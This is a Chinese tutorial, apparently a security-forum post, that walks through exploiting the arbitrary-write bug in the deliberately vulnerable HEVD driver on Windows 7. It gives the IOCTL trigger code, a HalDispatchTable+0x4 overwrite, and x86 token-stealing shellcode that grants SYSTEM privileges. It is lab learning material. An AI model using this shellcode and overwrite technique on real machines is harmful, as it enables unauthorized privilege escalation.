

0x00：前言

这是 Windows kernel exploit 系列的第三部分，前一篇我们讲了内核栈溢出的利用，这一篇我们介绍任意内存覆盖漏洞，也就是 Write-What-Where 漏洞，和前面一样，看此文章之前你需要有以下准备：

- Windows 7 x86 sp1虚拟机
- 配置好windbg等调试工具，建议配合VirtualKD使用
- HEVD+OSR Loader配合构造漏洞环境

传送门：

[+] [Windows Kernel Exploit\(一\) -> UAF](#)

[+] [Windows Kernel Exploit\(二\) -> StackOverflow](#)

0x01：漏洞原理

任意内存覆盖漏洞

从 IDA

中我们直接分析HEVD.sys中的TriggerArbitraryOverwrite函数，乍一看没啥毛病，仔细分析发现v1，v2这两指针都没有验证地址是否有效就直接拿来用了，这是内核

```
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
    unsigned int *v1; // edi
    unsigned int *v2; // ebx

    ProbeForRead(UserWriteWhatWhere, 8u, 4u);
    v1 = UserWriteWhatWhere->What;
    v2 = UserWriteWhatWhere->Where;
    DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
    DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
    DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", v1);
    DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", v2);
    DbgPrint("[+] Triggering Arbitrary Overwrite\n");
    *v2 = *v1;
    return 0;
}
```

我们从ArbitraryOverwrite.c源码文件入手，直接定位关键点

```
#ifdef SECURE
    // Secure Note: This is secure because the developer is properly validating if address
    // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
    // routine before performing the write operation
    ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
    ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

    *(Where) = *(What);
#else
    DbgPrint("[+] Triggering Arbitrary Overwrite\n");

    // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
    // because the developer is writing the value pointed by 'What' to memory location
    // pointed by 'Where' without properly validating if the values pointed by 'Where'
    // and 'What' resides in User mode
    *(Where) = *(What);
#endif
```

如果你不清楚ProbeForRead函数的话，[这里](#)可以得到很官方的解释(永远记住官方文档是最好的)，就是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中，并且正

```
void ProbeForRead(
    const volatile VOID *Address,
```

```

    SIZE_T          Length,
    ULONG           Alignment
);

```

和我们设想的一样，从刚才上面的对比处可以很清楚的看出，在安全的条件下，我们在使用两个指针的时候对指针所指向的地址进行了验证，如果不对地址进行验证，在内存中

0x02：漏洞利用

利用原理

控制码

知道了漏洞的原理之后我们开始构造exploit，前面我们通过分析IrpDeviceIoCtlHandler函数可以逆向出每个函数对应的控制码，然而这个过程我们可以通过分析HackSysExtremeVulnerableDriver

```
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
```

下面解释一下如何计算控制码，CTL_CODE这个宏负责创建一个独特的系统I/O（输入输出）控制代码(IOCTL)，计算公式如下

```
#define xxx_xxx_xxx CTL_CODE(DeviceType, Function, Method, Access)

( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
```

通过python我们就可以计算出控制码(注意对应好位置)

```
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)
'0x22200b'
```

因为WRITE_WHAT_WHERE结构如下，一共有8个字节，前四个是 what，后四个是 where，所以我们申请一个buf大小为8个字节传入即可用到 what 和 where 指针

```
typedef struct _WRITE_WHAT_WHERE {
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
```

下面我们来测试一下我们的猜测是否正确

```
#include<stdio.h>
#include<Windows.h>

int main()
{
    char buf[8];
    DWORD recvBuf;
    // ■■■■
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed to get HANDLE!!!\n");
        return 0;
    }

    memset(buf, 'A', 8);
    DeviceIoControl(hDevice, 0x22200b, buf, 8, NULL, 0, &recvBuf, NULL);

    return 0;
}
```

在 windbg 中如果不能显示出 dbgprint 中内容的话输入下面的这条命令即可显示

```
ed nt!Kd_DEFAULT_Mask 8
```

我们运行刚才生成的程序，如我们所愿，这里已经成功调用了ArbitraryOverwriteIoctlHandler函数并且修改了 What 和 Where 指针

```
kd> ed nt!Kd_DEFAULT_Mask 8
kd> g
***** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE *****
[+] UserWriteWhatWhere: 0x0019FC90
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x41414141
[+] UserWriteWhatWhere->Where: 0x41414141
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
***** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE *****
```

当然我们不能只修改成0x41414141，我们所希望的是把what指针覆盖为shellcode的地址，where指针修改为能指向shellcode地址的指针

Where & What 指针

这里的where指针我们希望能够覆盖到一个安全可靠的地址，我们在windbg中反编译一下NtQueryIntervalProfile+0x62这个位置

```
kd> u nt!NtQueryIntervalProfile+0x62
nt!NtQueryIntervalProfile+0x62:
84159ecd 7507          jne     nt!NtQueryIntervalProfile+0x6b (84159ed6)
84159ecf alac7bf783    mov     eax,dword ptr [nt!KiProfileInterval (83f77bac)]
84159ed4 eb05          jmp     nt!NtQueryIntervalProfile+0x70 (84159edb)
84159ed6 e83ae5fbff    call    nt!KeQueryIntervalProfile (84118415)
84159edb 84db          test    bl,bl
84159edd 741b          je      nt!NtQueryIntervalProfile+0x8f (84159efa)
84159edf c745fc01000000 mov     dword ptr [ebp-4],1
84159ee6 8906          mov     dword ptr [esi],eax
```

上面可以发现，0x84159ed6这里会调用到一个函数KeQueryIntervalProfile，我们继续跟进

```
2: kd> u KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
840cc415 8bfff         mov     edi,edi
840cc417 55           push    ebp
840cc418 8bec         mov     ebp,esp
840cc41a 83ec10       sub     esp,10h
840cc41d 83f801       cmp     eax,1
840cc420 7507          jne     nt!KeQueryIntervalProfile+0x14 (840cc429)
840cc422 alc86af683    mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83f66ac8)]
840cc427 c9           leave
2: kd> u
nt!KeQueryIntervalProfile+0x13:
840cc428 c3           ret
840cc429 8945f0       mov     dword ptr [ebp-10h],eax
840cc42c 8d45fc       lea     eax,[ebp-4]
840cc42f 50           push    eax
840cc430 8d45f0       lea     eax,[ebp-10h]
840cc433 50           push    eax
840cc434 6a0c         push    0Ch
840cc436 6a01         push    1
2: kd>
nt!KeQueryIntervalProfile+0x23:
840cc438 ff15fcc3f283 call    dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]
840cc43e 85c0         test    eax,eax
840cc440 7c0b         jl      nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc442 807df400     cmp     byte ptr [ebp-0Ch],0
840cc446 7405         je      nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc448 8b45f8       mov     eax,dword ptr [ebp-8]
840cc44b c9           leave
840cc44c c3           ret
```

上面的0x840cc438处会有一个指针数组，这里就是我们shellcode需要覆盖的地方，为什么是这个地方呢？这是前人发现的，这个函数在内核中调用的很少，可以安全可靠

```
HAL_DISPATCH HalDispatchTable = {
    HAL_DISPATCH_VERSION,
    xHalQuerySystemInformation,
    xHalSetSystemInformation,
    xHalQueryBusSlots,
```

```

xHalDeviceControl,
xHalExamineMBR,
xHalIoAssignDriveLetters,
xHalIoReadPartitionTable,
xHalIoSetPartitionInformation,
xHalIoWritePartitionTable,
xHalHandlerForBus,           // HalReferenceHandlerByBus
xHalReferenceHandler,         // HalReferenceBusHandler
xHalReferenceHandler          // HalDereferenceBusHandler
};

```

我们需要很清楚的知道，我们刚才在找什么，我们就是在找where指针的位置，所以我们只需要把where的位置放在HalDispatchTable+0x4处就行了，而what指针我们

- what -> &shellcode
- where -> HalDispatchTable+0x4

利用代码

上面我们解释了where和what指针的原理，现在我们需要用代码来实现上面的过程，我们主要聚焦点在where指针上，我们需要找到HalDispatchTable+0x4的位置，我

1. 找到 ntkrnlpa.exe 在 kernel mode 中的基地址
2. 找到 ntkrnlpa.exe 在 user mode 中的基地址
3. 找到 HalDispatchTable 在 user mode 中的地址
4. 计算 HalDispatchTable+0x4 的地址

ntkrnlpa.exe 在 kernel mode 中的基地址

我们用EnumDeviceDrivers函数检索系统中每个设备驱动程序的加载地址，然后用GetDeviceDriverBaseNameA函数检索指定设备驱动程序的基本名称，以此确定ntkrnlpa.exe 在内核模式中的基地址，当然我们需要包含文件头Psapi.h

```

LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
    TCHAR lpfileName[1024];
    //Retrieves the load address for each device driver in the system
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

    for (int i = 0; i < 1024; i++)
    {
        //Retrieves the base name of the specified device driver
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

```

ntkrnlpa.exe 在 user mode 中的基地址

我们用函数LoadLibrary将指定的模块加载到调用进程的地址空间中，获取它在用户模式下的基地址

```
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
```

HalDispatchTable 在 user mode 中的地址

我们用GetProcAddress函数返回ntkrnlpa.exe中的导出函数HalDispatchTable的地址

```
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
```

计算 HalDispatchTable+0x4 的地址

如果你是一个pwn选手的话，你可以把这这里的计算过程类比计算函数中的偏移，实际地址 = 基地址 + 偏移，最终我们确定下了HalDispatchTable+0x4的地址

```
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
```

我们计算出了where指针的位置，what指针放好shellcode的位置之后，我们再次调用NtQueryIntervalProfile内核函数就可以实现提权，但是这里的NtQueryIntervalProfile的源码查看)，函数原型如下：

```
NTSTATUS
NtQueryIntervalProfile (
    IN KPROFILE_SOURCE ProfileSource,
    OUT PULONG Interval
)
```

最后你可能还要注意一下堆栈的平衡问题，shellcode中需要平衡一下堆栈

```
static VOID ShellCode()
{
    _asm
    {
        //int 3
        pop edi // the stack balancing
        pop esi
        pop ebx
        pushad
        mov eax, fs:[124h] // Find the _KTHREAD structure for the current thread
        mov eax, [eax + 0x50] // Find the _EPROCESS structure
        mov ecx, eax
        mov edx, 4 // edx = system PID(4)

        // The loop is to get the _EPROCESS of the system
        find_sys_pid :
            mov eax, [eax + 0xb8] // Find the process activity list
            sub eax, 0xb8 // List traversal
            cmp[ecx + 0xb4], edx // Determine whether it is SYSTEM based on PID
            jnz find_sys_pid

            // Replace the Token
            mov edx, [eax + 0xf8]
            mov[ecx + 0xf8], edx
            popad
            //int 3
            ret
    }
}
```

详细的代码参考[这里](#)，最后提权成功



0x03 : 后记

上面的东西一定要自己调一遍，如何堆栈平衡的我没有写的很细，如果是初学者建议自己下断点调试，可能在整个过程中你会有许多问题，遇到问题千万不要马上就问，至少

点击收藏 | 0 关注 | 1

[上一篇：免root将手机 \(Android&...\)](#) [下一篇：Discuz!ML V3.X 代码...](#)

1. 1 条回复



[钞sir](#) 2019-07-22 09:51:09

感谢分享

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)